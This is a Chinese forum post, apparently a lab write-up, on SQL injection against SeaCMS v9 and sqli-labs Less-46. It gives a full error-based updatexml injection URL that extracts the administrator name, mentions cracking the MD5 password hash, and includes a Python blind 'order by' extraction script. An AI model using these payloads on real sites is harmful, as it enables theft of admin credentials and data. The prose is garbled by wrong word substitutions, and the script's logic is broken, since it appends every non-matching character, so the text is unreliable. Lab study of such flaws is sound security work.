海洋cmsv9报错注入,order by 和limit注入

[复制链接]
发表于 2025-10-23 18:59:22 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
海洋cmsv9

1,我们拿到海洋cmsv9源码分析发现注入点,$rlist
2,seacms开源,可以知道seacmsv9体系数据库(mysql)为seacms,存放管理员账号的表为
sea_admin,表中存放管理员姓名的字段为name,存放管理员暗码的字段为password
颠末源码分析,使用以下语句注入(limit克制管理员有多个,导致SQL语句报错):
127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次实验:

我们发现注入并没有乐成
接下来我们在数据库检察表的情况

我们发现sea_comment中并没有数据以是并没有回显
那我们就添加数据
  1. insert into sea_comment(id,uid,v_id,typeid,username,ip,ischeck,dtime,msg,m_type,reply,agree,anti,pic,vote) values (1,2,3,4,'hyd1','192,168,106,133',1,01,'sample comment',0,0,0,0,'exam01.jpg',0),(5,6,7,8,'hyd2','192,168,106,134',2,02,'sample comment',0,0,0,0,'exam02.jpg',0);
复制代码

然后我们重新举行注入


发现暗码是通过MD5加密了的
以是就到md5在线解密破解,md5解密加密这个网站解密


oeder by



我们发现俩次username中发现第6行不一样,以是我们可以使用这里举行注入
  1. import requests
  2. from bs4 import BeautifulSoup
  3. def getDatabase(url):
  4.     dataname = ''
  5.     for i in range(1, 20):  # 检查每个字符位置
  6.         for j in range(32,127):
  7.             payload = "if(ascii(substr(database(),%d,1))=%d,username,password) -- " % (i, j)
  8.             res = {"sort": payload}
  9.             r = requests.get(url, params=res)
  10.             # 检查返回内容,使用 BeautifulSoup 解析 HTML
  11.             soup = BeautifulSoup(r.text, 'html.parser')
  12.             # 提取密码列第6行
  13.             password_row = soup.find_all('tr')[6]  # 第6行(索引为5)
  14.             password_column = password_row.find_all('td')[1]  # 假设密码在第二列
  15.             # 如果返回的是 'crappy',则跳过该字符
  16.             #print(password_column.text.strip())
  17.             if password_column.text.strip() == 'secure':
  18.                 #print(1)  # 如果是 crapp,就跳过当前字符
  19.                 w=1
  20.             else:
  21.         # 如果没有找到有效字符,或者跳过该字符,则继续下一个字符
  22.                 dataname += chr(j)  # 将识别到的字符添加到数据库名称
  23.         print(dataname)  # 打印当前已经找到的字符
  24. if __name__ == '__main__':
  25.     url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'
  26.     getDatabase(url)
复制代码

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表